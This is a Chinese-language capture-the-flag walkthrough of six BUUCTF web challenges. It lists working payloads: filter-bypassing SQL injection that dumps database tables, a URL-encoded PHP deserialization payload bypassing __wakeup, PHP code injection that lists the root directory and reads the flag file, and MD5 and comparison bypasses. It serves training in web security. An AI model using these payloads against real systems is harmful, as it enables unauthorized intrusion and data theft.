BUUCTF-WEB(15-20)

[极客大挑战 2019]BabySQL

打开题目就试了试万能密码,是不行的

推测应该做了过滤

我们密码框输入1' 1 or '1'='1试试

发现我们的or没了,union,select,where都被过滤了,应该是被替换成空字符,所以我们可以双写绕过

uunionnion sselectelect wwherehere

由于这里or被过滤了,我们无法用order用判断字段数,只能union select(以下注入都在密码框进行)

1' uunionnion sselectelect 1,2,3#

爆库名:

1' uunionnion sselectelect 1,2,database()#

爆表名:

1' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'#

爆列名:

1' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_schema='geek'aandnd table_name='b4bsql'#

爆数据:

1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql#

[极客大挑战 2019]PHP

打开题目告诉我们网站备份了

然后我们应该dirsearch扫后台,这里可能是因为平台的原因,扫不出来的

备份文件就是 www.zip

我们访问下载,index.php发现了参数select

然后在class.php这里看怎么去反序列化

我们构造就是

new Name::__construct()->new Name::__destruct()

所以我们需要绕过__wakeup()

CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧_ctf php 反序列化漏洞-CSDN博客

攻击者可以利用这个漏洞来绕过 __wakeup() 函数中的安全检查,从而执行任意代码。攻击者可以使用 O 类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多。由于 PHP 会忽略多余的属性,攻击者可以绕过 __wakeup() 函数的安全检查,并执行恶意代码。

然后我们打开php在线(此处打印两个变量,为了方便比较数量对应的哪个数值)

构造链子后因为我们需要绕过__wakeup(),所以我们需要改一下这个数量

给我标记的地方改成三,然后复制URL编码后的序列化的数据。

payload:

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

[ACTF2020 新生赛]BackupFile

就是备份文件,dirsearch扫描

发现了index.php.bak,下载

在PHP中:= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较

所以我们payload:

?key=123

[RoarCTF 2019]Easy Calc

参考:

RoarCTF 2019 - Easy Calc - ch0bits - 博客园 (cnblogs.com)

RoarCTF 2019]Easy Calc 详细题解笔记 Writeup_scandir被过滤-CSDN博客

PHP字符串解析特性 ($GET/$POST参数绕过)(含例题 buuctf easycalc)_参数解析 绕过-CSDN博客

在源码里面找到了一个文件

我们访问一下

这里我也不会了就搜了一下题解

查看根目录

?%20num=print_r(scandir(chr(47)));

查看flag

?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]BuyFlag

来到买flag的地方,看一下源码

我们需要post传参,我burp抓包看一眼

条件就是我需要是cuit的学生,然后才能买,这里我注意到user=0,我们改成1试试,成功了

那我们就差个money还有password

password就用字符串绕过

POST的内容如下:

password=404a&money=1000000000

他说钱长度太多了,那我们就科学计数法

password=404a&money=1e9

[BJDCTF2020]Easy MD5

参考:

[BJDCTF2020]Easy MD5(详细)-CSDN博客

总结ctf中 MD5 绕过的一些思路_ctf md5-CSDN博客

这里打开题目,就个输入框,啥也没有

我这里也挺傻逼,我抓包也没看到hint,看wp才看到

然后意思就是后面需要真值,然后才行

答案就是需要传

ffifdyop

然后跳到新界面,然后查看源码,md5弱比较

直接传

a=QNKCDZO&b=240610708

又跳了一个界面,代码如下:

这次是===是强比较,类型,数值都得比较,那我们就数组绕过

param1[]=1&param2[]=2

热门相关:冷血奇花      无毛犬奇遇记   再见狂牛粤语   诱惑朋友的老爸